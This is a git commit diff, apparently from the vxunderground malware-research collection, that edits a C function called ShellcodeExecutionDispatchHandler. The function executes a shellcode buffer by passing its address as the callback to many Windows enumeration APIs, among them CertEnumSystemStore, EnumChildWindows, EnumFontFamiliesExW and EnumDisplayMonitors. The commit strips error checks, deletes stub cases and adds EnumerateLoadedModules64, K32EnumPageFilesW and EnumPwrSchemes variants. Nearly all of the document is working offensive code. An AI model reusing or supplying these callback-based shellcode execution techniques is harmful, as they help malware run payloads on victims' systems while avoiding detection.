2.0.313
This commit is contained in:
vxunderground
2022-10-29 10:39:42 -05:00
parent 97ee6fcb92
commit c63bbcccbb
4 changed files with 39 additions and 58 deletions
@@ -18,64 +18,43 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
case E_CDEFFOLDERMENU_CREATE2:
{
IContextMenu* ContextMenuRequired = NULL;
if (!SUCCEEDED(CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, (LPFNDFMCALLBACK)BinAddress, 0, NULL, &ContextMenuRequired)))
goto EXIT_ROUTINE;
CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, (LPFNDFMCALLBACK)BinAddress, 0, NULL, &ContextMenuRequired);
break;
}
case E_CERTENUMSYSTEMSTORE:
{
if (!CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress))
goto EXIT_ROUTINE;
CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress);
break;
}
case E_CERTENUMSYSTEMSTORELOCATION:
{
if (CertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress))
goto EXIT_ROUTINE;
CertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress);
break;
}
case E_CERTFINDCHAININSTORE:
{
goto EXIT_ROUTINE;
}
case E_ENUMCHILDWINDOWS:
{
if (!EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL))
goto EXIT_ROUTINE;
EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL);
break;
}
case E_ENUMDATEFORMATSW:
{
if (!EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0))
goto EXIT_ROUTINE;
EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0);
break;
}
case E_ENUMDESKTOPWINDOWS:
{
if (!EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL))
goto EXIT_ROUTINE;
EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL);
break;
}
case E_ENUMDESKTOPSW:
{
if (!EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL))
goto EXIT_ROUTINE;
EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL);
break;
}
@@ -95,9 +74,7 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
case E_ENUMDISPLAYMONITORS:
{
if (!EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)BinAddress, NULL))
goto EXIT_ROUTINE;
EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)BinAddress, NULL);
break;
}
@@ -106,9 +83,7 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
LOGFONTW Font = { 0 };
Font.lfCharSet = DEFAULT_CHARSET;
if (!EnumFontFamiliesExW(GetDC(NULL), &Font, (FONTENUMPROCW)BinAddress, NULL, NULL))
goto EXIT_ROUTINE;
EnumFontFamiliesExW(GetDC(NULL), &Font, (FONTENUMPROCW)BinAddress, NULL, NULL);
break;
}
@@ -118,11 +93,6 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
break;
}
case E_ENUMICMPROFILESW:
{
goto EXIT_ROUTINE;
}
case E_ENUMLANGUAGEGROUPLOCALESW:
{
EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)BinAddress, LGRPID_ARABIC, 0, 0);
@@ -138,11 +108,6 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
break;
}
case E_ENUMPROPSEXW:
{
goto EXIT_ROUTINE;
}
case E_ENUMRESOURCETYPESEXW:
{
EnumResourceTypesExW(NULL, (ENUMRESTYPEPROCW)BinAddress, NULL, RESOURCE_ENUM_VALIDATE, NULL);
@@ -203,11 +168,6 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
break;
}
case E_ENUMPROPSW:
{
goto EXIT_ROUTINE;
}
case E_MESSAGEBOXINDIRECT:
{
MSGBOXPARAMS MessageBoxParams = { 0 };
@@ -221,10 +181,24 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param)
break;
}
case E_PERFSTARTPROVIDEREX:
case E_ENUMERATELOADEDMODULES:
{
goto EXIT_ROUTINE;
EnumerateLoadedModules64(InlineGetCurrentProcess, (PENUMLOADED_MODULES_CALLBACK)BinAddress, NULL);
break;
}
case E_ENUMPAGEFILESW:
{
K32EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)BinAddress, NULL);
break;
}
case E_ENUMPWRSCHEMES:
{
EnumPwrSchemes((PWRSCHEMESENUMPROC)BinAddress, NULL);
break;
}
default:
goto EXIT_ROUTINE;